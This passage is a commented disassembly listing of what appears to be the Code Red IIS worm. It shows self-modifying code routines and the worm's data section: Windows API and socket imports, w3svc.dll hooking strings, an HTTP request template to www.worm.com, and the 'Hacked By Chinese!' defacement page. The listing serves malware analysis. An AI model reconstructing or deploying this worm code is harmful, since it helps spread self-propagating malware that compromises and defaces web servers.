seg000:00000CEE 50                              push    eax
seg000:00000CEF 8B BD 68 FE FF FF               mov     edi, [ebp-198h] ; put an addr i
nto edi
seg000:00000CF5 89 47 F2                        mov     [edi-0Eh], eax  ; dynamically r
ewrite  jump addr at o.D02
seg000:00000CF8 C3                              retn                    ; Return Near f
rom Procedure
seg000:00000CF8                 DO_REWRITE      endp
seg000:00000CF8
seg000:00000CF9                 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000CF9
seg000:00000CF9                 SELF_MODIFY1:                           ; CODE XREF: se
g000:00000D0B\031j
seg000:00000CF9 8B 44 24 0C                     mov     eax, [esp+0Ch]
seg000:00000CFD 05 B8 00 00 00                  add     eax, 0B8h ; '¸' ; Add
seg000:00000D02 C7 00 DA F1 CD 00               mov     dword ptr [eax], 0CDF1DAh ; thi
s is self modifiying code.  the move value gets set to  RVA LOOP(o 252)
seg000:00000D08 33 C0                           xor     eax, eax        ; Logical Exclu
sive OR
seg000:00000D0A C3                              retn                    ; Return Near f
rom Procedure
seg000:00000D0B                 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000D0B EB EC                           jmp     short SELF_MODIFY1 ; Jump
seg000:00000D0D                 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000D0D
seg000:00000D0D                 WORMCONTINUE:                           ; CODE XREF: WO
RM+28\030j
seg000:00000D0D E8 F1 F4 FF FF                  call    DataSetup       ; Call Procedur
e
seg000:00000D0D                 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
```

```
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000D12 4C 6F 61 64 4C 69+aLoadlibrarya   db 'LoadLibraryA',0
seg000:00000D1F 47 65 74 53 79 73+aGetsystemtime  db 'GetSystemTime',0
seg000:00000D2D 43 72 65 61 74 65+aCreatethread   db 'CreateThread',0
seg000:00000D3A 43 72 65 61 74 65+aCreatefilea    db 'CreateFileA',0
seg000:00000D46 53 6C 65 65 70 00 aSleep          db 'Sleep',0
seg000:00000D4C 47 65 74 53 79 73+aGetsystemdefau db 'GetSystemDefaultLangID',0
seg000:00000D63 56 69 72 74 75 61+aVirtualprotect db 'VirtualProtect',0
seg000:00000D72 09                                db    9 ;
seg000:00000D73 69 6E 66 6F 63 6F+aInfocomm_dll   db 'infocomm.dll',0
seg000:00000D80 54 63 70 53 6F 63+aTcpsocksend    db 'TcpSockSend',0
seg000:00000D8C 09                                db    9 ;
seg000:00000D8D 57 53 32 5F 33 32+aWs2_32_dll     db 'WS2_32.dll',0
seg000:00000D98 73 6F 63 6B 65 74+aSocket         db 'socket',0
seg000:00000D9F 63 6F 6E 6E 65 63+aConnect        db 'connect',0
seg000:00000DA7 73 65 6E 64 00    aSend           db 'send',0
seg000:00000DAC 72 65 63 76 00    aRecv           db 'recv',0
seg000:00000DB1 63 6C 6F 73 65 73+aClosesocket    db 'closesocket',0
seg000:00000DBD 09                                db    9 ;
seg000:00000DBE 77 33 73 76 63 2E+aW3svc_dll      db 'w3svc.dll',0
seg000:00000DC8 00                                db    0 ;
seg000:00000DC9 47 45 54 20 00    aGet            db 'GET ',0
seg000:00000DCE 3F                                db  3Fh ; ?
seg000:00000DCF 00                                db    0 ;
seg000:00000DD0 20 20 48 54 54 50+aHttp1_0Content db '  HTTP/1.0',0Dh,0Ah
seg000:00000DD0 2F 31 2E 30 0D 0A+                db 'Content-type: text/xml',0Ah
seg000:00000DD0 43 6F 6E 74 65 6E+                db 'HOST:www.worm.com',0Ah
seg000:00000DD0 74 2D 74 79 70 65+                db ' Accept: */*',0Ah
seg000:00000DD0 3A 20 74 65 78 74+                db 'Content-length: 3569 ',0Dh,0Ah
seg000:00000DD0 2F 78 6D 6C 0A 48+                db 0Dh,0Ah,0
seg000:00000E2C 63 3A 5C 6E 6F 74+aCNotworm       db 'c:\notworm',0
seg000:00000E37 4C 4D 54 48 0D 0A+aLmthHtmlHeadMe db 'LMTH',0Dh,0Ah
seg000:00000E37 3C 68 74 6D 6C 3E+                db '<html><head><meta http-equiv="Conte
nt-Type" content="text/ht'
seg000:00000E37 3C 68 65 61 64 3E+                db 'ml; charset=english"><title>HELLO!<
/title></head><bady><hr s'
seg000:00000E37 3C 6D 65 74 61 20+                db 'ize=5><font color="red"><p align="c
enter">Welcome to http://'
seg000:00000E37 68 74 74 70 2D 65+                db 'www.worm.com !<br><br>Hacked By Chi
nese!</font></hr></bady><'
seg000:00000E37 71 75 69 76 3D 22+                db '/html>
                        '
seg000:00000E37 43 6F 6E 74 65 6E+                db '
                        '
seg000:00000E37 74 2D 54 79 70 65+                db '                                   '
seg000:00000E37 22 20 63 6F 6E 74+seg000          ends
seg000:00000E37 65 6E 74 3D 22 74+
seg000:00000E37 65 78 74 2F 68 74+
seg000:00000E37 6D 6C 3B 20 63 68+                end
```